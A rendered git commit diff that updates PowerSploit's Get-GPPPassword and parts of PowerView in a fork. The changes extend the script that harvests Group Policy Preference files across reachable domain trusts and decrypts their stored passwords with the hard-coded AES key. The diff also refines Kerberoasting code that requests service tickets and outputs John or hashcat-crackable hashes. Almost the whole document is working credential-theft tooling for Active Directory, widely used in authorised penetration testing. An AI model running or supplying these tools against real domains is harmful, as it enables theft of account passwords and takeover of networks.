Merge pull request #1 from PowerShellMafia/dev

update local fork
This commit is contained in:
Mike Brancato 2017-01-16 00:52:51 -05:00 committed by GitHub
commit bda533d6d7
2 changed files with 425 additions and 268 deletions

View File

@ -2,246 +2,347 @@ function Get-GPPPassword {
<# <#
.SYNOPSIS .SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION .DESCRIPTION
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.PARAMETER Server .PARAMETER Server
Specify the domain controller to search for. Specify the domain controller to search for.
Default's to the users current domain Default's to the users current domain
.PARAMETER SearchForest
Map all reaschable trusts and search all reachable SYSVOLs.
.EXAMPLE .EXAMPLE
PS C:\> Get-GPPPassword Get-GPPPassword
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters} NewName : [BLANK]
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} Changed : {2014-02-21 05:28:53}
Passwords : {Recycling*3ftw!, password123, password1234} Passwords : {password12}
UserNames : {Administrator (built-in), DummyAccount, dummy2} UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : [BLANK] NewName : {mspresenters}
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {password, password1234$} Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {administrator, admin} UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
NewName : [BLANK] NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, read123} Passwords : {password, password1234$}
UserNames : {DEMO\Administrator, admin} UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
.EXAMPLE NewName : [BLANK]
PS C:\> Get-GPPPassword -Server EXAMPLE.COM Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
NewName : [BLANK] UserNames : {DEMO\Administrator, admin}
Changed : {2014-02-21 05:28:53} File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
Passwords : {password12}
UserNames : {test1}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE .EXAMPLE
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq Get-GPPPassword -Server EXAMPLE.COM
password NewName : [BLANK]
password12 Changed : {2014-02-21 05:28:53}
password123 Passwords : {password12}
password1234 UserNames : {test1}
password1234$ File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
read123
Recycling*3ftw! NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK .LINK
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#> #>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
[ValidateNotNullOrEmpty()] [ValidateNotNullOrEmpty()]
[String] [String]
$Server = $Env:USERDNSDOMAIN $Server = $Env:USERDNSDOMAIN,
[Switch]
$SearchForest
) )
#Some XML issues between versions # define helper function that decodes and decrypts password
Set-StrictMode -Version 2
#define helper function that decodes and decrypts password
function Get-DecryptedCpassword { function Get-DecryptedCpassword {
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
[string] $Cpassword [string] $Cpassword
) )
try { try {
#Append appropriate padding based on string length #Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4) $Mod = ($Cpassword.length % 4)
switch ($Mod) { switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))} '2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))} '3' {$Cpassword += ('=' * (4 - $Mod))}
} }
$Base64Decoded = [Convert]::FromBase64String($Cpassword) $Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object #Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value #Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length) $AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV $AesObject.IV = $AesIV
$AesObject.Key = $AesKey $AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor() $DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
} }
catch {Write-Error $Error[0]} catch { Write-Error $Error[0] }
} }
#define helper function to parse fields from xml files # helper function to parse fields from xml files
function Get-GPPInnerFields { function Get-GPPInnerField {
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
$File $File
) )
try { try {
$Filename = Split-Path $File -Leaf $Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File) [xml] $Xml = Get-Content ($File)
#declare empty arrays # check for the cpassword field
$Cpassword = @() if ($Xml.innerxml -match 'cpassword') {
$UserName = @()
$NewName = @()
$Changed = @()
$Password = @()
#check for password field
if ($Xml.innerxml -like "*cpassword*"){
Write-Verbose "Potential password in $File"
switch ($Filename) {
'Groups.xml' { $Xml.GetElementsByTagName('Properties') | ForEach-Object {
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} if ($_.cpassword) {
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Cpassword = $_.cpassword
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} if ($Cpassword -and ($Cpassword -ne '')) {
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} $DecryptedPassword = Get-DecryptedCpassword $Cpassword
} $Password = $DecryptedPassword
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
'Services.xml' { }
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} if ($_.newName) {
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} $NewName = $_.newName
} }
'Scheduledtasks.xml' { if ($_.userName) {
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName = $_.userName
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} elseif ($_.accountName) {
} $UserName = $_.accountName
}
'DataSources.xml' { elseif ($_.runAs) {
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName = $_.runAs
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
} try {
$Changed = $_.ParentNode.changed
'Printers.xml' { }
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} catch {
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
}
try {
'Drives.xml' { $NodeName = $_.ParentNode.ParentNode.LocalName
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} catch {
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
}
if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
$GPPPassword = New-Object PSObject
$GPPPassword | Add-Member Noteproperty 'UserName' $UserName
$GPPPassword | Add-Member Noteproperty 'NewName' $NewName
$GPPPassword | Add-Member Noteproperty 'Password' $Password
$GPPPassword | Add-Member Noteproperty 'Changed' $Changed
$GPPPassword | Add-Member Noteproperty 'File' $File
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
$GPPPassword
} }
} }
} }
}
foreach ($Pass in $Cpassword) { catch {
Write-Verbose "Decrypting $Pass" Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
$DecryptedPassword = Get-DecryptedCpassword $Pass }
Write-Verbose "Decrypted a password of $DecryptedPassword" }
#append any new passwords to array
$Password += , $DecryptedPassword # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
} function Get-DomainTrust {
[CmdletBinding()]
#put [BLANK] in variables Param (
if (!($Password)) {$Password = '[BLANK]'} $Domain
if (!($UserName)) {$UserName = '[BLANK]'} )
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'} if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
try {
#Create custom object to output results $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
$ObjectProperties = @{'Passwords' = $Password; $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
'UserNames' = $UserName; if ($DomainObject) {
'Changed' = $Changed; $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
'NewName' = $NewName; }
'File' = $File} }
catch {
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
Write-Verbose "The password is between {} and may be more than one value." }
if ($ResultsObject) {Return $ResultsObject}
try {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
if ($ForestObject) {
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
}
}
}
# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
function Get-DomainTrustMapping {
[CmdletBinding()]
Param ()
# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}
# our domain stack tracker
$Domains = New-Object System.Collections.Stack
try {
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
$CurrentDomain
}
catch {
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
} }
catch {Write-Error $Error[0]} if ($CurrentDomain -and $CurrentDomain -ne '') {
$Domains.Push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')
try {
# get all the domain/forest trusts for this domain
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
# only output if we haven't already seen this domain and if it's pingable
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
$Null = $Domains.Push($_)
$_
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
} }
try { try {
#ensure that machine is domain joined and script is running as a domain account $XMLFiles = @()
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { $Domains = @()
throw 'Machine is not a domain member or User is not a member of the domain.'
$AllUsers = $Env:ALLUSERSPROFILE
if (-not $AllUsers) {
$AllUsers = 'C:\ProgramData'
} }
#discover potential files containing passwords ; not complaining in case of denied access to a directory # discover any locally cached GPP .xml files
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while." Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' $XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." if ($SearchForest) {
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
foreach ($File in $XMLFiles) { $Domains += Get-DomainTrustMapping
$Result = (Get-GppInnerFields $File.Fullname) }
Write-Output $Result else {
if ($Server) {
$Domains += , $Server
}
else {
# in case we're in a SYSTEM context
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
}
}
$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
ForEach ($Domain in $Domains) {
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
if($DomainXMLFiles) {
$XMLFiles += $DomainXMLFiles
}
}
if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
ForEach ($File in $XMLFiles) {
$Result = (Get-GppInnerField $File.Fullname)
$Result
} }
} }
catch {Write-Error $Error[0]} catch { Write-Error $Error[0] }
} }

View File

@ -1563,18 +1563,18 @@ https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
) )
} }
catch { catch {
Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' using alternate credentials : $_" Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
} }
} }
else { else {
try { try {
Invoke-Method $Translate 'Init' ( $Null = Invoke-Method $Translate 'Init' (
$ADSInitType, $ADSInitType,
$InitName $InitName
) )
} }
catch { catch {
Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' : $_" Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
} }
} }
@ -1583,7 +1583,7 @@ https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
try { try {
# 8 = Unknown name type -> let the server do the work for us # 8 = Unknown name type -> let the server do the work for us
Invoke-Method $Translate 'Set' (8, $TargetIdentity) $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
Invoke-Method $Translate 'Get' ($ADSOutputType) Invoke-Method $Translate 'Get' ($ADSOutputType)
} }
catch [System.Management.Automation.MethodInvocationException] { catch [System.Management.Automation.MethodInvocationException] {
@ -2296,8 +2296,8 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
} }
else { else {
$UserSPN = $Object $UserSPN = $Object
$SamAccountName = $Null $SamAccountName = 'UNKNOWN'
$DistinguishedName = $Null $DistinguishedName = 'UNKNOWN'
} }
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
@ -2305,7 +2305,12 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
$UserSPN = $UserSPN[0] $UserSPN = $UserSPN[0]
} }
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
catch {
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
}
if ($Ticket) { if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest() $TicketByteStream = $Ticket.GetRequest()
} }
@ -2322,16 +2327,22 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
if ($OutputFormat -match 'John') { if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$unknown:$Hash" $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
} }
else { else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format # hashcat output format
$HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdsa,DC=pf,DC=fakedomain,DC=com SPN: E0518235-4B06-11D1-AB04-00C04FDS3CD2-BADM/aksjdb.asdsa.pf.fakedomain.com:50000 *' + $Hash $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
} }
$Out | Add-Member Noteproperty 'Hash' $HashFormat $Out | Add-Member Noteproperty 'Hash' $HashFormat
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
Write-Output $Out Write-Output $Out
break
} }
} }
} }
@ -2413,15 +2424,22 @@ for connection to the target domain.
Invoke-Kerberoast | fl Invoke-Kerberoast | fl
Kerberoasts all found SPNs for the current domain.
.EXAMPLE .EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local | fl Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl
Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
format instead of John (the default).
.EXAMPLE .EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
Invoke-Kerberoast -Credential $Cred -Verbose | fl Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
.OUTPUTS .OUTPUTS
@ -3656,7 +3674,7 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
} }
catch { catch {
Write-Verbose "[Get-Domain] The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
} }
} }
elseif ($PSBoundParameters['Domain']) { elseif ($PSBoundParameters['Domain']) {
@ -4699,21 +4717,24 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$UserSearcher = Get-DomainSearcher @SearcherArguments $UserSearcher = Get-DomainSearcher @SearcherArguments
} }
} }
elseif ($IdentityInstance -match '^S-1-.*') {
# SID format
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=.*') {
# distinguished names
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
else { else {
try { $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectguid=$GuidByteString)" # SID format
$IdentityFilter += "(objectsid=$IdentityInstance)"
} }
catch { elseif ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(samAccountName=$IdentityInstance)" # distinguished names
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
} }
} }
} }
@ -4742,7 +4763,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)' $Filter += '(msds-allowedtodelegateto=*)'
} }
if ($PSBoundParameters['KerberosPreauthNotRequireduthNotRequired']) { if ($PSBoundParameters['KerberosPreauthNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
} }
@ -5728,7 +5749,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$IdentityFilter = '' $IdentityFilter = ''
$Filter = '' $Filter = ''
$Identity | Where-Object {$_} | ForEach-Object { $Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-.*') { if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)" $IdentityFilter += "(objectsid=$IdentityInstance)"
} }
@ -5771,7 +5792,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
} }
if ($PSBoundParameters['SPN']) { if ($PSBoundParameters['SPN']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
$Filter += '(servicePrincipalName=$SPN)' $Filter += "(servicePrincipalName=$SPN)"
} }
if ($PSBoundParameters['OperatingSystem']) { if ($PSBoundParameters['OperatingSystem']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
@ -6053,23 +6074,26 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$ObjectSearcher = Get-DomainSearcher @SearcherArguments $ObjectSearcher = Get-DomainSearcher @SearcherArguments
} }
} }
elseif ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU)=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
else { else {
try { $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectguid=$GuidByteString)" $IdentityFilter += "(objectsid=$IdentityInstance)"
} }
catch { elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
if ($IdentityInstance.Contains('.')) { $IdentityFilter += "(distinguishedname=$IdentityInstance)"
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" }
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
} }
else { catch {
